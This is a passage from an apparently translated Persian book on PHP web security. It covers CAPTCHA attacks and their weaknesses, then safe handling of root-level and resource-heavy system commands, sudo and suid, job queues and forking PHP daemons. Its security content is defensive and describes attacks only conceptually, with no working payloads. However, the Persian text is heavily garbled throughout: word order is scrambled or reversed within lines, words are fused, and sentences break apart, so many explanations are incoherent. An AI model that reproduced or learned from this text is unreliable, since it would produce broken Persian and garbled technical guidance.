 یاندازهبه کار این پاداش اگر توجهی صورت گیرد. ولیقابل هایتلاش اغلب باید بالا باشد  موفقیت احتمال

جهت  که مستقیمی حملات میان داشت. در خواهد ارزش مهاجمجهت  تلاش این آنگاه باشد، زیاد کافی

 برد:  نام توانمی را زیر موارد اند،ایجاد شده کپچاها به حمله

 هایآیتم اجرا و وارد کردن تمامی تا و شدهشروع ساده حدس با است ممکن فورس بروت حملات -

 اگر باشند مؤثر آوریشگفت شکل به توانندمی حملات یابد. اینادامه  دیکشنری یک در موجود

 شما منبع که وخصوصاٌ زمانی راحتتر می شود امر باشد. این با معنا یکلمه یک هدف پیدا کردن

 در یعنی دارد قرار نیز مهاجم دسترس در که باشد یونیکسی دیکشنری همان کلمهجهت 

/usr/share/dict/wordsسازی درهم با را ایحمله چنین توانیدمی شما گفتیم، قبلاً که طور. همان

در اینصورت استفاده از کلمات با معنا بی  ولی کنید ترسخت کلمه نمودن رمزنگاری یا و نمودن
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فایده می شود زیرا شما کلمه ای می سازید که معنایی ندارد و عبارت دیگر نیازی به استفاده از 

 دیکشنری نیز وجود ندارد. 

و اگر بتوانند  ببرند بهره چالشجهت حل این  مصنوعی هوش هایروش از است ممکن مهاجمین -

بدین وسیله محدوده جوابهای ممکن را کاهش دهند احتمال موفقیت و سرعت رسیدن به پاسخ 

صحیح کاهش می یابد. به طور مثال می توانند از ابزار هوش مصنوعی تشخیص اشیاء مانند 

حروف برای تشخیص کپچاهای تصویری و از ابزار پردازش صوت برای  تشخیص چهره،اعداد و

 تشخیص حروف یا کلمات استفاده نمایند. 

 از کلیبه را کپچا پردازشجهت  مهاجم نیاز چراکه هستند مؤثر بسیار هایجکینگ حملات درنهایت، -

 آن، در که کندمی ایجاد را خودکار وضعیت یک هایجکر کپچا، چالش یک مقابل برند. درمی بین

 یک دهد. برای مثال، قرار انسانی کاربر یک برابر در دیگر درجایی را چالش تواندهمینمی وی

 و کند ایجاد را سایتوب یک است ممکن کند ایجاد رایگان ایمیلتعداد زیادی  خواهدمی که اسپمر

 کاربر یک کهآنرا حدالامکان بالا ببرد. هنگامی SEOنماید و  تبلیغ را آن خود اسپم موتور طریق از

رود، کاربر را تشویق به ثبت نام در سایت می کند و در صفحه ثبت نام اسکریپ میی سایت چنین به

مربوط به سایت ارائه دهنده خدمات ایمیل را قرار می دهد که در این حالت کاربر بدون اینکه بداند 

 ایمیل سیستم کپچای ادامه، ظر اسپمر است ثبت نام می کند. دردر سایتی دیگر که همان سایت مد ن

 ارائه را صحیح پاسخ کاربر فرد کند. اینمی ارائه مبتذل سایت به دسترسی شرط عنوانبه کاربر به را

 به هدف خود رسیده باشد. تا شودمی فرستاده ایمیل سایتجهت  پاسخ این که کندمی

 اصطلاحاٌ به روش فوق پراکسی کردن کپچا گفته می شود که امروزه رایج می باشد. 

  

  کپچاها از استفاده در بالقوه مشکلات 11.5

 نیست. ولی سخت خیلی کار PHP از استفاده با همانطور که مشاهده نمودید ساخت کدهای کپچا که

 خواهیم کرد.دارند که آنها در ادامه بیان  وجود نیز ایبالقوه مشکلات

  است ساده نسبتاً کپچاها کردن هایجک 11.5.1

 بتواند وی کند. اگرمی پراکسی را شما کپچای که کند ایجاد ساعت چند در را سایتی تواندمی توانا کاربر یک

 بار هزار 50 تواندمی وی دهند، ارائه را کپچا هر پاسخ و بروند وی سایت به که کند وادار را نفر هزار 50
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 استفاده خواهدمی که است فردی از جلوگیری کپچا یک هدف است. اگر انسان وی اسکریپت که کند ثابت

 دارید نیاز نیز دیگری دفاعی هایروش به شما کند، نویسیاسکریپت را شما سایت از

هرچه استفاده از کپچا رایج تر می شود به همان اندازه ابزارهای هوش مصنوعی جدید ارائه می  -

 شوند

 کهدرحالی است؛ دانشگاهی اطلاعات کپچاها، به AIهایحمله خصوص در عمومی اطلاعات اعظم بخش

 را هاییروش تا کندمی سعی دیگر گروه یک کنند،می ایجاد را ترسخت کپچای یک محققین از گروه یک

شود.هیچ دلیلی وجود ندارد که فکر کنیم سرعت رشد کپچا می موفق هم اغلب و بیابد آن شکستجهت 

 خود هایموفقیت مورد در دانشگاهی( معمولاً اساتید )برخلاف بیشتر از سرعت نفوذ به آنها زیرا اسپمرها

 را چالش که نمود خواهد تلاش افراد باشند، بزرگ کافی یاندازههابهپاداش که کنند. هنگامینمی صحبت

 نویسبرنامه یک عنوانبه شماوقتی  همیشه باید بدان توجه داشت این است که کهمسئله ای دهند.  شکست

 را خود سایت امنیت باید شما دلیل، همین بود. به نخواهد موفق طولانی مدتی را بهبود می بخشید  چالشی

 موفقیت با حدی چه تا شما کاربران که ببینید تا کنید بررسی را هافایل لاگ دهید، قرار بررسی مورد دقتبه

 باید شما بروند. همچنین، دارید، انتظار شما که روندمی جاییبه آیا و شوندمی رد شما کپچای هایچالش از

 روز نمایید. به گیرندمی قرار دسترس در جدید هایرا به محض اینکه ویرایش خود کپچای که شوید مطمئن

 باشدمي حافظه و زمان نیازمند کپچاها تولید 11.5.2

کاری که باید انجام  هستند. حداقل تولیدجهت  از پردازندهاستفاده  نیازمند نیز کدهای کپچا ترینساده حتی

 نیازمند است ممکن مورد کپچا یک تولید کهتصاویر می باشد. درحالی تولید و دادهپایگاه به دسترسیدهند 

 تولید درخواست صدها که ایگونهبه باشد، شلوغ سایت یک شما سایت اگر نباشد ولی زیادی ماشینی منابع

حجم پردازش ها و بار بر روی  توجهیقابل شکل به بار این گیرند، قرار پردازش مورد ثانیه هر در باید کپچا

در این شرایط  شود.  شما کاربران طرد موجبممکن است  ایجادشده یافت. تأخیرهای خواهد سرور افزایش

 باشید.  خود افزارسخت تکمیل یا ارتقا نیازمند واقعاً است ممکن

  نباشند خواندنها قابلانسان توسط است ممکن هستند پیچیده ازحدبیش که کپچاهایي 11.5.3

 یاندازهبه تصویر این در موجود متن تشخیص کردن مشکل منظوربه تصویر یک نمودن مخدوش مفهوم

 رویم. یک پیش نمودن مخدوش این در باید کجا تا که است این است سخت که چیزی است؛ ساده کافی

 باشد. این تا حدی مشکل انسان یکبرای  است ممکن است سخت ماشین یکبرای  آن تشخیص که تصویر
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 دهید تشخیص را مخدوش تصویر یک در موجود متن توانیدنویس میبرنامه یک عنوانبه شما که واقعیت

 یا و شما یهمسایه یا و شما دوست که نیست این بر تضمینی هیچ دانید،می را آن قبل از که متنی یعنی

 بخواند.  را آن بتواند نیز دیگر شهری در فردی

 بینيپیشغیرقابل  کاربری مشکلات دچار است ممکن نیز سرراست نسبتاً کپچاهای حتي 11.5.4

  شوند

 یک واقعاً کاربر که زمانی کاربر می باشد. حتی هایتوانایی آنلاین یبرنامه هر در ناشناخته  کاملاً عامل یک

 مشکلات یا این امکان وجود دارد که کمبودها حمله، حال در ماشین یک نه و است واقعی انسان

 ترینسادهبه  حتیدرست  پاسخاز  مانع است ممکنوجود داشته باشد و  کاربر سمت در نشدهبینیپیش

 کپچا چالش یک حلجهت  اندکی شانس زیادبه احتمال بینایی مشکلات با کاربر شوند. یک کپچا چالش

راه  این یا و ندارد صوتی افزارسخت یا افزارنرم که فردی یا شنوایی نقص با فردی. داشت خواهدتصویری 

 کپچای یک با شدن روروبه هنگام نیز نصب نیستند او سیستم روی بر انداز های نرم افزاری این وسایل

تلاش کنید و کنید اجتناب دام این در افتادن از باید شما نویس،برنامه یک عنوانبود. به خواهد ناتوان صوتی،

جهت آینده نگری  عنوانشود. به خوانده انسانی کاربر توسط خوبیایجاد نمایید که بهی کپچای چالش که

 هایتوانایی مشکلات که ایگونهبه دهید ارائه را دیگری هایگزینه باید حداقل شما موفقیت، شانس بهبود

 نشود.  مشروع کاربران ورود مانع خودکار صورتبه کاربر

  خلاصه 11.6

تا چالشی جهت  خواهندمی کاربر از که هاییچالش یعنی کردیم صحبت کپچاها مورد در ما فصل، این در

جهت  موارد این نمایند. دریافت را کار یادامه یاجازه تا اثبات اینکه رباط نیستند را پشت سر بگذارند

 است ممکن اند. برای عبور از کپچاهاایجادشده کار، یادامه از خودکار مهاجمین یا و هاربات نمودن مسدود

 شرایط از ایتعبیرمجموعه یا شده مخدوش گفتار شنیدن تصویر، یک در شده مخدوش متن خواندن نیازمند

 باشیدم. 

داد.  قرار مورداستفاده و کرده ایجاد را ساده تصویری متنی کپچای یک توانمی چگونه که دادیم نشان ما

 پاسخگویان بین قبولقابل تمایزجهت  هاآن از انتظار و کپچاها از استفاده در ذاتی مشکلات ما درنهایت

 کردیم.  بیان را ماشینی و انسانی
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 سیستمي دستورات ایمن : اجرای دوازدهم فصل 12

  سیستمی دستورات اجرای توانمی چگونه که دهیممی قرار بررسی مورد را مسئله این ما فصل، این در

 بررسی مورد را خطرناکی عملیات مختلف انواع دقیق، صورت به ما بخش، این نمود. در ایزوله را خطرناک

اینکار  .باشند داشته راها آن اجرایی اجازه نباید nobody قبیل از مجوز بدون کاربران، که داد خواهیم قرار

فایلها  این که دلیل این به یا انجام شود  و rootبه این علت می تواند باشد که آن کار باید فقط توسط کاربر 

 این داشتننگه دورجهت  را خاصیهای استراتژی ما ادامه، دارند. در سیستمی منابع از استفاده غیرعادی

 درها استراتژی این از استفاده به ما نهایت، در داد، خواهیم قرار بحث دیگران را مورد کنترل از وظایف

PHP پرداخت.  خواهیم 

  خطرناک عملیات 12.1

 دهیم:می قرار بحث مورد را خطرناک بالقوه عملیات از متفاوتی دسته دو ما بخش، این در

  شوند اجرا root عنوان به باید که دستوراتی -1

 هستند.  باند پهنای و CPU زمان از عادی غیر مقدار نیازمند که عملیاتی -2

 داشته راها آن انجامی اجازه نباید ، nobody قبیل از مجوز بدون کاربران که هستند مواردیها این

 اجازه دهید هیچ که است اینو هدف اصلی شما  هستند خطرناکی مختلف دلایل به موارد باشند. این

 سایت شما می باشد.  به دسترسی دارای که گیرد قرار فردیی استفاده سوء وردمنابع م آن از کدام

 ( root )سطح ریشه سطح دستورات 12.1.1

از حجم عظیمی از منابع شما استفاده  که دستوراتی مجموعه از است عبارت خطرناک عملیات از دسته یک

های گروه از کاربرانی مانند عضوی شوند انجام مجوزها بالاترین با کاربری توسط بایداینکارها  می کنند و

admin کاربر خود حتی یا root . 

 هستند:  موارد این شامل عملیات نوع این از هایی مثال

  فایل یک مالکیت تغییر -

  پردازش یک شروع -

  فایروال در IP آدرس یک نمودن مسدود -
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های برنامه زیرا نمایید اجتناب دست این از عملیاتیاجرا و تنظیم چنین  از کامل طور به توانیدنمی شما

PHP و شوندمی محسوب مدیریتی معمولا که هستند وظایفی اجرایجهت  منطقی کاملا دلایل دارای اغلب 

 به که PHP بر مبتنی فایل مدیریت سیستم یک شوند. به طور مثال، اجرا root کاربر توسط باید بنابراین

 مالکیت باید کنند ارسال شما فایل داخلی سرور به را پروژههای فایل تا دهدمی اجازه شما شرکت مشتریان

 شوند. یا حذف یا و شده داده تغییر شما کارکنان توسط بتوانند ادامه در که دهد تغییرای گونه به راها فایل آن

 عملیات اجرای نیازمند است ممکن کندمی عمل« وب کنترل پنل» نوع یک عنوان به که PHPی برنامه یک

 باشد.  سیستم به جدید کاربری حساب یک افزودن قبیل از مدیریتی

 sudo دستور و suid بیت 12.1.1.1

 آنگاه باشد، شده تنظیم set-user-ID یا suid بیت دارای باینریی برنامه یک یا دستور یک که هنگامی

منابع  به دسترسی نیازمند که سیستمی مدیریت شوند. دستوراتمی اجرا مالک مجوزهای با هاییبرنامه چنین

ها آن به اینکه. به دلیل هستند شده تنظیم بیت این دارای ( معمولاpasswd دستور مثال )برای حیاتی هستند

 suid بیت با مفهومی ارتباط دارای sudo دستوری کنند. پیشوند شرکت هاییفعالیت چنین در دهد اجازه

 اجرا root کاربر عنوان به تا شودمی باعث و بردمی بالا را دستور مجوز سطح پیشوند این که چرا باشدمی

 در قبل از باید معمولا کاربر ندارد. یک اختیار درکاربر عادی  معمولا که دسترسی مجوزهای با یعنی شود

 دستور که دلیل این به ولی کند استفاده sudo دستور از بتواند تا باشد admin قبیل از خاص گروه یک

sudo باینری یک خود  suid ،کاربر به اصل در است آن اجرای حال در که کاربری است root هنگام در 

 شود. می تبدیل دستور، این اجرای

 دستور کنند( تامی عمل سروروب nobody کاربر طریق از )که دهیم اجازه PHPهای اسکریپت به اگر

sudo سطح افزایش باعث موثری شکل به کار این انجام که چرا باشدمی خطرناک بسیار نماید اجرا را 

 قرار استفاده سوء مورد توانمی را برنامه در نقص نوع هر شد. آنگاه، خواهد هاییاسکریپت چنین دسترسی

 شود. می حذف اغلب، sudo دستور دلیل، همین به گرفت. دقیقا اختیار در را سرور کل تا داد

 Sbinهای باینری 12.1.1.2

 که هستند سیستمی مدیریت ابزارهای یونیکس،های سیستم روی بر usr/sbin/ یا sbin/ در واقع دستورات

 در معمولا که هستند دستوراتی میان در زیر شوند. دستورات فراخوانی root کاربر توسط تنها باید معمولا

 شوند: می یافت یونیکس sbin/ دایرکتوری هر
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- mount یا unmount جداسازی قابلهای رسانه و برای اتصال و جداسازی درایوهای هارد که 

 استفاده می شود. 

- mkfs باشدمی پارتیشن کردن فرمت دستور یک که  

- reboot 

- shutdown 

- route کندمی تنظیم را شبکهمسیریابی  جدول که  

- ping های بسته کهICMP کندمی ارسال سرورها سایر به را 

 برروی ندارند. بنابراین، مستقیم صورت به دستورات این فراخوانیجهت  حقی هیچ مجوز بدون کاربران

 دستورات با امر این که نمایید خارج root از غیر به همه دسترس از راها دایرکتوری این باید سرورها،

chmod /sbin 700 و chmod /usr/sbin 700 تنهاها دایرکتوری این نمودن شود. محدودمی انجام 

 نمود.  خواهد محدود را مهاجم یک دسترس در ابزارهای شدت به root کاربرجهت 

  منابع بالای مصرف با دستورات 12.1.2

 از که هستند دستوراتی گیرند قرار مورد نظارت بالا، دقت با باید که هاییبرنامه و دستورات از دسته یک

 قبیل از منابعی نمایندمی درگیر را محدود منابع یا و کنندمی استفاده سیستمی منابع از حجم زیادی 

 بالای مصرف با دستورات چنین از مثال تعدادی اینجا گیری هستند. در پشتیبان درایوهای یا شبکههای پورت

 شود: می ارائه منابع

  باینری کامپایلرهای -

 دیجیتال امضای پردازش -

  ویدئوییهای کدک -

  فایل سازی فشرده ابزارهای -

  شبکه سرورهای -

  کلی صورت به شبکههای عملیات -

 از استفاده سوء حال در که فردی توسط موازی صورت به و زیاد تعداد به اگر دستورات، نوع این از کدام هر

 کنند مصرف را دسترس در سیستمی منابع سرعت به توانندمی شوند، فراخوانده باشد،می وبی برنامه یک

 حتی یا و کند شده بسیار مجازی استفاده که شودمی باعث باند( که پهنای حتی یا و حافظه پردازنده، )زمان

 گردد.  ممکن غیر



 های مدیریت محتواسیستمهای پذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن

307 

 

 
 

 یابند. هر تعمیم نیزها مکان سایر درها سیستم سایر به توانندمی وارده صدمات شبکه، عملیات خصوص در

های رایانه سایر به صدمه عامل یک بالقوه صورت به کندمی ارسال را شبکههای درخواست که وبی برنامه

 به درخواست ارسالبه  آن کردن مجبوربرای  را روشی بتواند مهاجم یک اگر الخصوصعلی باشدمی شبکه

URLبه شمای برنامه توسط شده ارسالهای درخواست منابع، بالای مصرف بر بیابد. علاوه دلخواه، های 

 فصل در کامل صورت به راها آن ما که شوندمی نیز امنیتیهای نگرانی سایر باعث دوردست سرورهای

 داد.  خواهیم قرار نظر مد سیزدهم

  خطرناک عملیات نمودن ایمن 12.2

 هستند. دستورات خطرناک متفاوتی استفاده می شوند بسیارهای شیوه به دستورات از متفاوت نوع دو این

 چنین نیازمند بالا منابع مصرف با دستورات که حالی در هستند حیاتی منابع به دسترسی نیازمند root سطح

 با دستورات که حالی در شوند اجرا فوری صورت به معمولا توانندمی root سطح نیستند. دستورات چیزی

های سیستم خسارت به موجب توانندها میآن دو هر باشند. ولی صورت این به توانندنمی بالا، منابع مصرف

 شوند.  دیگرانهای سیستم احتمالا و شما خود

 یک ایجاد با یعنی نمود. حل یکسان عمومیی شیوه یک به توانمی را مشکلات این دو هر حال، این با

 کاربر یک به را خطرناک بالقوه عملیات باید مجوز بدون PHP اسکریپت یک آن، در که بندیصف سیستم

 باید اصلا )آیا دستور اعتبار ارزیابی به مجوز، قادر دارای کاربر بدهد. این admin کاربر یک یا مجوز دارای

 شود؟( هست.  اجرا باید اکنون )آیا منابع بودن دسترس در شود؟( و اجرا

 root سطح جهت عملیات API یک ایجاد 12.2.1

 کاربر به که بیابند را هاییروش که شوند وسوسه است ممکن دهندگان توسعه ،root سطح عملیات برای

 هاییحل راه چنین دهند. ولی انجام را وظایف این تا دهندمی اجازه nobody یعنی سرور وب مجوز بدون

امنیتی می  نقص یا امنیتاز منابع حیاتی می گردد و باعث ازبین رفتن  نامحدودی استفاده سوء باعث تنها

 گردد. 

ی کننده آغاز کاربر اینکه تضمین از عبارت سیستمیهای فراخوان نوع این با مرتبط عملیات هر اصلی هدف

های باینری از مستقیمی استفاده حذف موجب فوراً امر نشود. این بالاتر مجوزهای دارای نهایت در پردازش

suid شود. می 
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 سرور وب کاربر شرایطی، هیچ گردد. تحتمی PHP توسط sudo دستور از استفاده نوع هر مانع همچنین

 از شود. استفاده اضافه admin گروه به نباید کندمی اجرا را وبهای اسکریپت که دیگری کاربر هر یا

sudo ی ایده یک مدیریتی عملیات اجرایبرای  آنلاینهای برنامه به دادن اجازهجهت  راه یک عنوان به

 می باشد.  بد بسیار

 که چرا برسد نظر به کننده گمراه اندکی است ممکن خاص پردازش یک به بندیصف مفهوم اعمال

بود.  نخواهد نیاز مورد تاخیری، اجرای هیچ حالت، این در معمولا و باشدمی تاخیر معنای به بندیصف

 شد. خواهد اجرا فورا دستور دهد،می رخ انتقال که هنگامی

 مجموعه یک مالکیت باید که هستید وبی برنامه یک دارای شما که کنیم فرض دهید اجازه مثالی عنوان به

 ادامه در راها آن کهای گونه به دهد تغییر برنامه مالک userid به  nobody از را شده آپلودهای فایل از

 changeOwnership یعنی یکتا دستور یک شامل شما،ی ساده APIنمود.  مدیریت SFTP طریق از بتوان

 بود.  خواهد فایل، یا دایرکتوری به نسبی مسیر یعنی یکتا پارامتر یک و

 عنوان به که غیرعمومی اسکریپت شود،می دریافت API طریق از changeOwnership دستور که هنگامی

root سیستمی واقعی عملیات و شودمی اجرا chown نمود، خواهد اتخاذ را نسبی مسیر دهد،می انجام را 

 کامل مسیر به را آن سپس و نموده سازیپاک شل متاکاراکتر و دایرکتوری از عبور حملات اساس بر را آن

 کند. می تبدیل فایل

 شد:  خواهد بالقوهی استفاده سوء نوع دو مانع از طریق این به آن پارامترهای و دستور این تعریف

 و نماید درخواست دستوری را که خواست هر  توانست نخواهد مجوز بدون سرور وب اسکریپت این -1

 باشد. می changeOwnership به محدود تنها

که  دایرکتوری از خارجهای فایل مالکیت که کند تلاش تواندنمی مجوز بدون سرور وب اسکریپت یک -2

 درون به را شل اضافی دستورات یاها آرگومان تواندنمی و کند عوض را قبل مالکیشان تعیین شده

 نماید.  تزریق درخواست،

  بالا منابع مصرف دارای عملیات بندیصف 12.2.2

 زیادی تعداد نیازمند PHP بر مبتنی دینامیک یا و استاتیک وب صفحات یارائه طبیعی، شرایط تحت

 را بالایی بسیار ترافیک سایتوب یک که زمانی باشد. حتینمی حافظه زیادی مقدار یا و سروری چرخه

 یک که هستند کاراای اندازه به کنندمی مدیریت را وبهای درخواست که هاییپردازش کند،می تجربه
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 باها کنند. سیستم تمام را سیستمی منابع سایر آنکه از قبل داد خواهند سرویس را مگابایتی 100 اترنت ارتباط

 کنند. می مدیریت مدام، صورت به راها وضعیت نوع درست، این تنظیم

 ،CPU زمان از عادی غیر مقدار یک نیازمند واقع درها پردازش از بعضی کردیم، بیان قبلا که طورهمان ولی،

 تکیه عملیات این به که PHPهای برنامه که هستند. هنگامی افزارسخت بهها دسترسی سایر یا و حافظه

 مگر شد خواهد کند شدت به سرور گیرند،می قرار وبهای درخواست ناگهانی افزایش یک برابر در دارند

 اول،-ورود فهرست یک صف شود. یک استفاده صدمات کردن )صف( جهت محدود queue از اینکه

 باشد. ها میپیام از74 اول-خروج

  بندیصف نتایج 12.2.2.1

 یک میتواند PHPی برنامه منابع بالای مصرف بای شده بندیصف عملیات مدیریتای جهت دسته پردازش

 تمام انجام آن هدف و شده فراخوانی cron توسط تناوبی صورت به که باشد PHP نرمال اسکریپت

جهت  cron از استفاده بخش در فصل اینی ادامه در باشد. مامی زمان آن در صف در موجود کارهای

 احتمال به که است عملیاتیجهت  حل راهترین مناسب روش، این که دهیممی پیشنهاد اسکریپت، یک اجرای

 کارا صورت به تا بکشد انتظار خاصی زمان مدتجهت  تواندمی یا و کندمی صرف زمان زیادی مقدار زیاد

 شود.  اجرا بچ، یا دسته یک در

 PHP در پردازش کنترل از استفاده 12.2.2.2

 را فرزندهای پردازش که دهندمی اجازهها پردازش به که هستند هاییویژگی شاملها عاملسیستم تمامی

 یک پردازش از است عبارت آن کار که دارید 75دایمون یک شما اگر نمایند. بنابراین، کنترل و کرده ایجاد

 در ناگهانی افزایش یک تا نماید ایجاد را فرزند تعدادی تواندمی دایمون این ای،دسته وظایف از صف

 نوشتههای . دایموناز بین ببرد راها آن دوباره رسید، اتمام به کارها که هنگامی و نمایند مدیریت را وظایف

 در فرضپیش صورت به پردازش پردازش، می باشند. فانکشنهای کنترل داراری قابلیت کنترل PHP در شده

 enable-pcntl-- تنظیماتیی گزینه با باید که شوندمی پشتیبانی PHP از CLI و CGIهای ویرایش
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 پشتیبانی آپاچی mod_php در وجه هیچ به پردازش باشد. کنترل داشته وجود پشتیبانی این تا شوند کامپایل

 اساس بر« مترقبه غیر نتایج» موجب گیرد قرار استفاده مورد سرور وب یک بستر در اگر و شودنمی

 امر این باشد،می سرور وب ازها پردازش نمودن دور ما هدف که آنجا شد. از خواهد PHP دستورالعمل

 است.  پذیرش قابل محدودیت یک مطمئنا

 دایمون هدف که است این دیگری فرمان خط PHP اسکریپت هر و PHP دایمون یک بین بنیادی تفاوت

 شده نگاشته منابع و حافظه در جوییصرفهجهت  سو یک از بنابراین و است زمینه پس در پیوسته اجرای

 استاندارد.  سیستمیهای سیگنال مدیریتجهت  دیگر سوی از و است

  سیگنال مدیریت از مختصر توصیف یک 12.2.2.3

 توانندمی که دارد وجود مختلف سیگنال 32 پردازشی. تقریبا بین ارتباط ازای ساده شکل از عبارتندها سیگنال

جهت  تواندمی خود نام رغمعلی که شوند فرستاده پردازش یکجهت  یونیکس kill دستور از استفاده با

 از که فرض،پیش TERM ازها سیگنال گیرد. این قرار استفاده مورد شده،تعریف سیگنال نوع هر ارسال

 تواندمی که گیرندمیبر در را کاربر توسط شدهتعریف USER1 سیگنال تا یابد، اتمام که خواهدمی پردازش

-hang) قطع یا HUP از عبارت دیگر، معمول سیگنال بدهد. یک معنایی هر که شود تعریفای گونه به

upآغاز دوباره تنظیمی، فایل جدید مقادیر از استفاده با دایمون یک که شودمی باعث معمولا که ( است 

 گرفته نادیده کامل طور به یا و شوند مدیریتای گونه به یا و شده اتخاذ توانندها میسیگنال شود.. مابقی

 شوند. 

 یک . اتخاذCHLD و TERM از عبارتند هستند دایمون یکجهت  اهمیت بالاترین دارای که سیگنالی دو

 شود. ما خارج و بسته را فرزندان و موجود ارتباط نوع هر تا دهدمی اجازه ما دایمون به TERM سیگنال

 دهیم. می قرار بحث مورد بعدی، بخش در فرزندهای پردازش مبحث معرفی از بعد را CHLD سیگنال

  همزمانهای درخواست ( جهت مدیریتforking) دهيشاخه 12.2.2.4

باشد می لحظه یک در همزمان شبه و همزمان درخواست تعدادی به پاسخ نیازمند PHP دایمون یک اغلب،

 را چرخش عمل پیوسته صورت به و کند عمل والد پردازش یک عنوان به باید دایمون این حالت، این در و

 یک دایمون این شود،می داده تشخیص درخواست یک که باشد. هنگامیها درخواست منتظر و داده انجام

 دیگر درخواست یک اگر شیوه، این نماید. به مدیریت را درخواست این تا کندمی ایجاد را فرزند پردازش

 PHP سپرد. تابع دیگر، فرزند یک به سادگی به توانمی را آن شود، دریافت پردازش، اولین اتمام از قبل
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 فرزند-والد بین انتقال )( . اینpcntl_fork از است عبارت فرزند پردازش یک ایجادجهت  استفاده مورد

 پورت روی بر ورودیهای پیام منتظر والد httpdکند. می مدیریت راها درخواست آپاچی که استای شیوه

 مدیریتجهت  را جدید فرزند پردازش یک یا و دهدمی انتقال موجود فرزند یک به راها آن یا و ماندمی 80

 کند. می ایجاد ،هاآن

 در فرزند، کند. جهت پردازشمی ایجاد آن از دقیق کپی یک کرنل شود،ای میشاخه برنامه، یک که هنگامی

 دو هر که حالی دارد. در قرار والد پردازش دید در که است چیزی همان با مشابه چیز )تقریبا( همه لحظه، آن

 شوند. می دور هم از فرزند و والد دهند،می انجام را اسکریپت اجرای پردازش،

 خود فرد به منحصر پردازش ID دارای است: فرزند این دهی شاخه زمان در فرزند و والد بین تفاوت تنها

 است.  شده تنظیم والد PID با برابر که باشدمی والد پردازش ID یک دارای و است

 است( ولی نشده ارجاع تنها و است شده کپی واقع )در نیستند مشترکی حافظه یک دارای فرزند و والد

 مثال،جهت  باشد. بنابراین،می خود والد منابعهای کننده توصیف تمامی از کپی یک دارای فرزند

 بوده اختیار در سازی، شاخه زمان در والد توسط که بود خواهند فایلی هندل هر دارای فرزندهای پردازش

 اجرا یکسان،ی نقطه یک از را اسکریپت رزند،ف و والد یکسان،ی حافظه ساختار یک داشتن بر است. علاوه

 کنند. می

 که شود. هنگامیمی فرزند و والد بین ثانویه تفاوت یک ظهور به منجر فوری صورت به تقریبا امر این

 بازگشت عمل این که گرداندمی باز امر این به بسته را متفاوت مقدار یک شد، )( کاملpcntl_fork عملیات

 ID گرداند. جهت والد،می باز را 0 مقدار شده، شاخه والد. جهت فرزندجهت  یا شودمی انجام فرزندجهت 

 بازگشتی مقدار این بررسیجهت  شرطیی گزاره یک ازها اسکریپت کند. اغلبمی ارسال را فرزند پردازش

 بازگشتی قدارم حالت، این در )که است والد همچنان جاری پردازش آیا که کنند تعیین تا کنندمی استفاده

 حالت، این در )که است شده تبدیل جدید فرزند پردازش یک به اینکه یا بود( و خواهد فرزند PID با برابر

 کند. می عمل اساس، همین بر سپس بود( و خواهد 0 با برابر بازگشتی مقدار

 دریافت را CHLD سیگنال یک خودکار صورت به والد یابد،می پایان فرزند پردازش یک که هنگامی

« زامبی» فرآیند یک به فرزند نقطه، این در«. است کرده تغییر فرزند وضعیت» که معنا است این به که کندمی

 تابع ،PHP نماید. در تایید را آن یافتن پایان آن، والد که زمانی تا ماند خواهد باقی و شودمی تبدیل

pcntl_waitجهت تعیین )( PID استفاده مورد زامبی حذف و منابع نمودن آزاد و یافته اتمام فرزند یک 

 گیرد. می قرار
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  نمایشي دایمون یک 12.2.2.5

 ایجاد پیچیده نسبتاً فرمان خط PHP اسکریپت یک با دایمون یک توانمی چگونه که داد خواهیم نشان ما

 ترینقدیمی و داردمی نگه را فعال فرزند پنج سپس و شده دهی شاخه زمینه، پیش پردازش یک به که نمود

 بر را تصادفی چیزی فرزندان از کدام کند. هرمی ایجاد را جدید مورد یک و کشدمی ثانیه پنج هر در را مورد

 یک عنوان به دایمون این از است. ما کار حال در که بدانیم تا نویسدمی بار یک ثانیه چند هر لاگ فایل روی

 کنیم. می استفاده فصل اینی ادامه در مفیدتر ابزار یک از استفاده هنگام در الگو
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 قفل را آن نوشتن هنگام تابع این دهدنمی انجام لاگ فایل یک درها پیام نوشتن از بیش )( کاریdlog تابع 

 مداخله وی کار در هستند، اجرا حال در زمان همین در احتمالا کهها دایمون سایر که شود مطمئن تا کندمی

 نکنند. 

 تا کندمی )( استفادهswitch تابع از و دهدمی انجام راها سیگنال مدیریت اصلی )( کارsig_handler تابع

 لاگ در را اطلاعاتیهای پیام تا کندمی )( استفادهdlog تابع از و دهد انجام کاری چه دقیقا که بگیرد تصمیم

 بنویسد. 

 که بار هر که کند ایجاد اسکریپت از خط هرجهت  را تیک یک که گویدمی اسکریپت )( بهdeclare ساختار

.  خیر یا است شده ارسال ویجهت  سیگنالی آیا که ببیند تا کندمی بررسی پردازش شود،می ایجاد تیک این

 ،SIGTERMهای سیگنال باید که گوید)( میsig_handler تابع )( بهpcntl_signal تابع فراخوانی سه

SIGHUP و SIGCHLD های پیام که فایلی نهایت، نماید. در مدیریت را سیستم ثوابت در موجود

 شود. می باز نوشتنجهت  و شده ایجاد شد، خواهند )( ذخیرهdlog توسط آن در دایمون
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 کندمی دهی شاخه را فرزند پردازش یک کند،می چاپ کنسول روی بر را اطلاعاتی پیام یک اسکریپت این

 ایجاد از بود عبارت آن هدف تنها که آنجا )از ادامه در داد( و خواهد ادامه اجرا به دایمون یک عنوان به )که

 نماید. این مدیریت را آتی موارد تا کندمی رها اجرا حالت در را فرزند پردازش و شودمی دایمون( خارج این

 روی بر مستقیم صورت به که صورت این به است برده ارث به را خود والد محیط که کندمی ثابت پردازش

 شودمی آغاز ضروری، متغیر دو تنظیم اطلاعاتی( با پیام یک نمودن لاگ از )بعد سپس و نویسدمی لاگ فایل

 child$ پرچم یک و کندمی ایجاد که فرزندانی از فهرست یک داشتننگهجهت  آرایه یک از عبارتند که

 خود.  فرزندان از خود نمودن جهت متمایز
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 شد. جهت این خواهد نهایت بیی حلقه یک نماید( وارد دهی شاخه که فرزندی هر )و دایمون پردازش این

 آیا که است امر این بررسی شامل حلقه این است، FALSE با برابر child$ پرچم که دلیل این به دایمون،

کند. جهت می ایجاد را جدید فرزندان کار( و این انجام نیاز صورت در )و خیر یا شود کشته باید فرزند یک

 آنجا، در که شودمی else عبارت وارد فورا پردازش این بنابراین و است 0 با برابر fork$ مقدار فرزند، هر

 لاگ در را پیام یک و کندمی دریافت را خود مختص PID گیرد،می قرار TRUE با برابر child$ پرچم

 اجرا به دایمون شود. این کشته که زمانی تا شودمی وارد و خوابدمی فرزند متناوب، صورت نویسد. بهمی

